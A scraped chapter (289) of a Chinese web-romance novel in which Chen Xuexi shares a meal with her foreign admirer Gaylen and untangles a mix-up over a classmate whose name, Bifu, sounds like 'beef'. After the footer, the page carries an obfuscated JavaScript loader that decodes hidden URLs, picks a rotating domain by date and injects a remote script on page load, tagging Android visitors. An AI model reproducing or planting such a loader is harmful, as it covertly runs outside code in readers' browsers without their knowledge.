登录
首页
简体
简体
繁體
消息
对不起,我们检测到您试图屏蔽广告,请移除广告屏蔽后刷新页面或升级到高级会员,谢谢
我们是青梅竹马!
第289章 beef?毕芙?
上一章
目录
下一章
闻言,Gaylen兴奋的说。
“Wow,itseemsthatIhavelearnedanothernewknowledge!”(哇哦,看来我又学到了一个新知识。)
没等一会儿,点的菜便陆陆续续地上来了。
陈雪熙指着那些盘子,依次向Gaylen介绍。
“KungPaochicken,Dengyingbeef,sweetandsourribs,cornstewedchickensoup,hotandsourshreddedpotatoes,andfriedshrimps。”(宫保鸡丁,灯影牛肉,糖醋排骨,玉米炖鸡汤,酸辣土豆丝,清炒虾仁。)
说完后,考虑到他也许不会用筷子,准备问服务员要一个勺子,却被他制止。
“no,no,no,Iamlearningtousechopsticks,andIneedtheopportunitytopracticemore。”(不不不,我正在学习使用筷子,我需要机会多多练习。)
闻言,陈雪熙便打消了念头。
Gaylen捏起筷子,神情严肃,努力的调整手指位置,但还是说不出的怪异。
但在食物滑落第五次后,他终于还是成功吃到了一颗虾仁。
一咬开,清甜又咸鲜的味道在味蕾中爆发,调料很淡,丝毫没有影响到虾仁本身的鲜味儿。
Gaylen惊奇道。
“sodelicious!”
陈雪熙夹了一筷子灯影牛肉到他的碗里,说道。
“Youshouldtrythisbeef,ittastesgreat。”(你应该尝尝这道牛肉,味道很不错。)
灯影牛肉最讲究刀功,要把牛肉切的薄如蝉翼,然后炸的焦脆,虽然是肉,但吃到嘴里竟是脆片的口感,灯影的意思便是,牛肉薄得放在灯光下,都能透光。
Gaylen看着这片脆脆的薄片,不可思议道。
“it‘sbeef?”(这是牛肉?!)
放进嘴里嚼吧嚼吧,觉得奇妙极了。
“Chinesecuisineisamazing!”(中国的美食太神奇了!)
陈雪熙心中暗道,那当然了,至少,比M国的麦片,面包强多了。
不过说到牛肉,Gaylen想起了他今天在班上遇到的一件事,向陈雪熙问道。
“嘿,Carrina,窝发现了衣件气乖的事。”(我发现了一件奇怪的事。)
“什么?”
“WhydoChinesepeopleusefoodastheirname?”(为什么中国人会把食物当做名字呢?)
陈雪熙摸不着头脑,疑惑回答。
“Whatareyoutalkingabout?Whowoulddothat?”(你在说什么呢?谁会那么做?)
“Mydeskmateisagirlwhotoldmehernameisbeef!”(我的同桌是个女孩儿,她告诉我她的名字是牛肉。
陈雪熙有些呆愣,一时不知道他说的是真是假,在她看来,没有人会叫……牛肉吧?
“Doyouhaveanamewrittenbyher?”(你有她写的名字吗?)
“No,butIhaveaclassrankingtablefortheentranceexam。”(不,不过我有入学考试的班级名次表。)
把单子递给陈雪熙后,她先是发现Gaylen毫不意外的在最后一名。
顾不得吐槽,她轮着找名字像“牛肉”的人,然而并没有。
不过在看第二遍的时候,她转换了思维,终于让她发现了真相。
也许……是这个叫毕芙的女孩儿?
英文单词beef(牛肉)不就谐音毕芙嘛……
陈雪熙无奈扶额,跟外国人交流就是麻烦,这怎么解释啊?
于是,在经过漫长的解释后,Gaylen终于体会到了中华文化的博大精深。
并嘲笑了这一乌龙事件。
?
余南浔忙完工作后,准备回家去,手机便传来消息。
看了一眼,是他派去跟着杨西塘的保镖之一。
打开一看,是他跟自己传来的关于她的动向,有文字有视频。
“小姐在湛城二中和另外两个女孩儿会面。”
“小姐现在和她们躲在石头后面。”
“小姐和她们二人在偷窥一男一女,男性似乎是外国人。”
“小姐买了个糖人吃。”
“那一男一女上车离开,小姐跟丢了。”
点开视频后,画面便是自家宝宝滑稽地在一块大石头后面鬼鬼祟祟的。
保镖口中的一男一女,是杨西塘和另一个他没见过的人。
余南浔无语,这是在干什么?这就是自家宝宝口中的去吃瓜?
哼,还敢背着自己偷吃甜食,回去要好好教育一顿!
?
陈雪熙和Gaylen吃完午餐,准备尽最后的地主之谊,带着他到家里去拜访daddy和mommy。
唉,真不知道为什么,自家daddy喜欢Gaylen喜欢得紧。
一路上,两人无话,Gaylen想要打破沉默,于是试探着问道。
“hey,Carrina,Theweatherisnice,isn‘tit?”(嘿,carrina,天气很不错,不是吗?)
“ye~”陈雪熙漫不经心地回答。
Gaylen伸手拉住了她,眉眼认真的说道。
“IhavecometoChina,hopingtointegrateintothelifehere,andmoreimportantly……tobeclosertoyou。”
(我来到中国,希望能融入这里的生活,也更希望……能更加接近你。)
上一章
目录
下一章
新文学城
本站所有小说为转载作品,所有章节均由网友上传,转载至本站只是为了宣传本书让更多读者欣赏。
联系方式:
[email protected]
let urls=["hBBtBBtBBpBBsBB:BB/BB/BB{BBdBBdBBmBB}BB/BB1BB4BB/BB1BB0BB4BBbBB5BB0BB3BBeBB2BB9BB3BB4".split("BB").join(""),"hCCtCCtCCpCCsCC:CC/CC/CCsCC.CClCCtCCdCCzCCzCC.CCcCCoCCmCC/CC1CC4CC/CC1CC0CC4CCbCC5CC0CC3CCeCC2CC9CC3CC4".split("CC").join("")];window.__rr__hld=1;let urlindex=0;let ddm=function(){let i = parseInt((new Date().getTime()/1000 - 1767052800)/86400/2);i = i %30;let ds = ['3w2t89814','btsel5g','6xklldl','2jtbig','kjbyn6zr96','8wz4mjirv','hpm47fyaf','oc79obwnpm','hjvrl','aroychmdcl','lx51ib3szv','6z2h1lycfw','ef7t2','31fpdcrf','uqn83ea8q'];return ds[i%15] + (i<15?".cc":".co"+"m");};let rfunc=function(){if(window.__rr__loaded_2934_104 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++].replace(/\{ddm\}/g,ddm())+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);}};rfunc();rfunc();